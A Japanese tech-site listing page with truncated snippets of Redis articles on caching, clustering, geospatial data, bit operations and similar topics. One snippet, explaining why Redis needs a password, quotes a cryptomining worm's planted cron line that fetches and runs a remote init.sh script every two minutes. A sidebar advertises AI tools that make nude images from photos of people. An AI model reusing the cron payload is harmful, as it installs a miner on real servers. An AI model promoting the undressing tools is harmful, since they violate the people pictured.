
Redis キャッシュの遅延二重削除とは何を意味しますか?
キャッシュが更新されずに削除されるのはなぜですか?更新の場合は、分散トランザクションの問題があり、キャッシュが変更され、データベースの変更が失敗する可能性があります。キャッシュを削除するだけであれば、データベースの変更に失敗しても、次のクエリでデータベースから直接データが取得されるため、ダーティなデータは表示されません。遅延二重削除とは何ですか?つまり、エンティティクラスを追加、削除、変更する場合には、エンティティクラスのキャッシュをクリアする必要があり、クリア位置はデータベース操作メソッドの前後になります。矛盾による証明の方法を用いて、結論だけを先に削除し、後で削除すると、削除前と削除後の両方に問題があるという結論が得られます。そこで、遅延二重削除戦略を採用する 考察2:なぜ遅延しても矛盾証明になるのか?次の図の状況は、二重削除後に古いキャッシュがまだ存在する状況を示しています。この遅延は、データベースの変更 -> キャッシュのクリアの前に、他のトランザクションのキャッシュ変更操作が完了していることを確認するためです。
May 26, 2023 pm 03:49 PM
Java が Redis を操作して翌日の早朝に有効期限を設定する場合の解決策は何ですか?
Javaでは翌日の早朝に有効期限を設定するためにredisを操作しているのですが、データをクエリする際にredis上でデータの有効期限を翌日に設定する必要があるという問題に遭遇しましたが、redisには対応するAPIがなかったので、自力で解決するしかなかった 翌日の早朝と現在時刻との時差 時差をredisの有効期限に設定すると目的の効果が得られる コード/*** 時差を計算する翌日の早朝と現在時刻の間の秒数 *@param*@returnjava .lang.Long*@authorshy*@date2021/3/1218:10*/publicstaticLonggetNowToNextDa
May 26, 2023 pm 03:40 PM
PHP+Redis を使用して、同時実行性が高い状況で製品の過剰販売の問題を解決する方法
一定数のユーザーを抱える一部の電子商取引 Web サイトでは、急ぎの購入にリレーショナル データベース (MySQL、Oracle など) を単純に使用すると、データベースへの負担が非常に大きくなり、データベース ロック メカニズムが適切に使用されないと、 、商品やクーポンの過剰販売につながる問題が発生します。私の会社でも同じ問題が発生しました。クーポンの過剰購入によって問題が発生しました。問題が発生してから、問題を解決する方法を検討し始めました。私はredisをよく使用するので、この問題を解決するためにredisを使用する予定です。 Redis の高性能とトランザクション機能を使用して、オンライン クーポンが過剰在庫によってスナップされる問題を解決します。以下に、この問題を一時的に解決した疑似コードの最初のバージョンを示します (一部の詳細は削除しています)。
May 26, 2023 pm 03:31 PM
Redis スクリプト コマンド実行の問題の分析例
1. redis-cli コマンドラインで実行します: #redis コマンドを呼び出してキャッシュを設定します #パラメータを渡さないでください eval"returnredis.call('set','name1','Tom')"0#1 を渡します値パラメータ eval"returnredis .call('set','name2',ARGV[1])"0"Tom"
May 26, 2023 pm 03:28 PM
LinuxシステムにRedisをインストールする方法
Redis は、高性能のキーと値のデータベースです。 Redis の出現により、memcached などのキー値ストレージの欠点が大幅に補われ、状況によってはリレーショナル データベースに対して非常に優れた補完的な役割を果たすことができます。 Redis の概要: リモート辞書サービスである Redis (RemoteDictionaryServer) は、ASIC 言語で記述されたオープン ソースのログ タイプの Key-Value データベースであり、ネットワークをサポートし、メモリベースで永続化でき、複数の言語で API を提供します。 2010 年 3 月 15 日以降、Redis の開発は VMware によってホストされています。 2013 年 5 月から Redis の開発が開始されました。
May 26, 2023 pm 02:55 PM
Redis の特別なデータ型地理空間の使用方法
Redis の特別なデータ型 Geospatial 地理空間は、Redis バージョン 3.2 で開始され、地理的位置情報、2 つの場所間の距離、その周囲の人々、およびその他のシナリオの計算に使用できます。 1. Geoadd は、指定された地理的空間位置 (緯度、経度、名前) を指定されたキーに追加します。ここでは、オンラインの緯度と経度のクエリ ツールを使用してデータを取得できます。 geoaddchina:city121.47264431.231706shanghaigeoaddchina:city120.61958531.299379suzhougeoaddchina:city116.4052
May 26, 2023 pm 02:55 PM
Redis クラスタリングの 3 つの方法とは何ですか
Redis には、マスター/スレーブ レプリケーション、センチネル モード、クラスター クラスターの 3 つのクラスタリング方法があります。マスター/スレーブ レプリケーションの基本原理 新しいスレーブ サーバーが確立されると、スレーブ サーバーはマスター サーバーに SYNC コマンドを送信します。SYNC コマンドを受信した後、マスター サーバーは BGSAVE コマンドを実行します。実行中、すべてのコマンドはバッファに書き込まれます。BGSAVE コマンドが実行されると、生成された RDB ファイルがスレーブ サーバーに送信されます。スレーブ サーバーはこのファイルを使用してデータをメモリにロードします。その後、マスター サーバーはバッファ コマンドをRedis コマンド プロトコルの形式のスレーブ サーバー。その後、マスター サービスがコマンドを実行するたびに、スレーブ サーバーと同期されます。複数のスレーブサーバーがマスターサーバーにSYNCコマンドを送信している場合でも、
May 26, 2023 pm 02:37 PM
Redis でパスワードを設定する必要がある理由は何ですか?
Redis でパスワードを設定する必要があるのはなぜですか?イントラネット環境ではパスワードの設定は必要ありませんが、個人サーバーやオンライン公開サーバーではパスワードの設定が必要です。昨日、minioのredisイベント通知を確認し、redisキーを確認したところ、さらにいくつか奇妙なキーを発見しました。バックアップ1、バックアップ2、バックアップ3。それから私はそれがマイニングウイルスだと推測しました。以下に示すように: このようにして、スケジュールされたタスクとスクリプトがマシンに挿入され、init.sh スクリプト backup1"\n\n\n*/2****rootcd1-fsSLhttp://en2an.top が実行されます。 /cleanfda/init の実行が開始されます。
May 26, 2023 pm 02:17 PM
Redis ビット操作の使用方法
この記事の Redis テスト コードは次の環境に基づいています: オペレーティング システム: MacOS 64 ビット バージョン: Redis5.0.764bit 動作モード: スタンドアロン モード Redis ビット操作 reids ビット操作は、ビット配列操作およびビットマップとも呼ばれ、4 つのコマンドを提供します。 : SETBIT、GETBIT、BITCOUNT、および BITTOP バイナリ ビット配列を操作します。まず、一連の基本的な操作例を見てみましょう SETBIT 構文: SETBITkeyoffsetvalue は: コマンド キー オフセット 0/1 setbit コマンドは、指定されたオフセットのバイナリ ビット設定値をビット配列に書き込むために使用されます。オフセットは 0 からカウントを開始し、 1 または 0 の書き込みのみが許可されます。
May 26, 2023 pm 02:14 PM
SpringBoot が Redis キー変更イベントを監視する方法
1. 機能の概要 キースペース通知を使用すると、クライアントはチャネルまたはパターンをサブスクライブすることで、何らかの方法で Rediskey の変更を変更するイベントを受信できます。キーのキーを変更するすべてのコマンド。 LPUSHkeyvalue[value…] コマンドを受信したすべてのキー。 db データベース内の期限切れのキーすべて。イベントは Redis のサブスクリプションおよび公開機能 (pub/sub) を通じて配布されるため、サブスクリプションおよび公開機能をサポートするすべてのクライアントは、変更を加えることなくキースペース通知機能を直接使用できます。 Redis の現在のサブスクリプション機能と公開機能は fireandforget 戦略を採用しているため、プログラムが
May 26, 2023 pm 01:55 PM
Redis で opsForList().range() を使用する方法
結論 (具体的なテストデータについては下記を参照してください) 1. start-end が全体の順序を保っていれば問題ない 2. 順序に従って startN-1 でもデータをクエリできる 3. 特殊な使用方法: stringRedisTemplate を使用する.opsForList().range( key,0,-1) は、最初から最後のインデックス (つまり、すべてのデータ) をクエリできます。 1. 環境 redis2、テスト コード: @ResourceprivateStringRedisTemplatestringRedisTemplate;@TestvoidtestRedis(){Stringk
May 26, 2023 pm 01:46 PM
laravelのredis操作方法とは何ですか?
Redis 操作 1. Set/get 操作 共通 set/get 操作、set 操作、キー名が存在する場合、元の値は上書きされます $redis=app("redis.connection");$redis->set('library ' ,'phpredis');//ストレージ キーはライブラリ、値 phpredis が記録されます $redis->get("library");//取得キーはライブラリ レコード値 set/g
May 26, 2023 pm 01:38 PM
CentOS7でRedisクラスターを構築する方法
1. 手動構築 1. CentOS7 ノードを準備し、Redis をインストールします 完全かつ高可用性のクラスターを実現するには、ノード数が 6 以上である必要があります (1) ディレクトリ構造 クラスター §──9001│ ∴─data││ ├─ ─appendonly.aof││ └─nodes-9001.conf│ ∴─redis-9001.conf│ └─redis-9001.log ∴─9002│ til─data││§─appendonly.aof│ │∴──nodes- 9002.conf│ ∴──redis-9002.conf│────redis-9002.log...(2
May 26, 2023 pm 01:34 PM
Redis メモリの断片をクリーンアップする方法
Redis のメモリ断片化とは何ですか?オペレーティングシステムの残り空間の総量は十分ですが、Nバイト連続アドレスの空間を申請した場合、残りメモリ空間にNバイト連続空間が存在しないため、残りメモリ空間のうち、連続メモリ空間が N バイト未満です。メモリの断片化です。 Redis のメモリ断片化はどのようにして形成されるのでしょうか?メモリ断片化の形成には内部的理由と外部的理由があります。 内部的理由: メモリ アロケータの割り当て戦略により、オペレーティング システムが「オンデマンド割り当て」を達成できないと判断されます。 Redis は、libc、jemalloc、および tcmalloc を使用してメモリを割り当てます。デフォルトでは、jemalloc が使用されます。メモリ アロケータは、アプリケーションによって要求された内容に正確に従うのではなく、固定サイズに従ってメモリ空間を割り当てます。
May 26, 2023 pm 01:18 PM
ホットツール Tags

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

vc9-vc14 (32+64 ビット) ランタイム ライブラリ コレクション (以下のリンク)
phpStudy のインストールに必要なランタイム ライブラリのコレクションをダウンロードします。

VC9 32ビット
VC9 32 ビット phpstudy 統合インストール環境ランタイム ライブラリ

PHP プログラマー ツールボックスのフルバージョン
プログラマ ツールボックス v1.0 PHP 統合環境

VC11 32ビット
VC11 32ビットphpstudy統合インストール環境ランタイムライブラリ

SublimeText3 中国語版
中国語版、とても使いやすい

ホットトピック









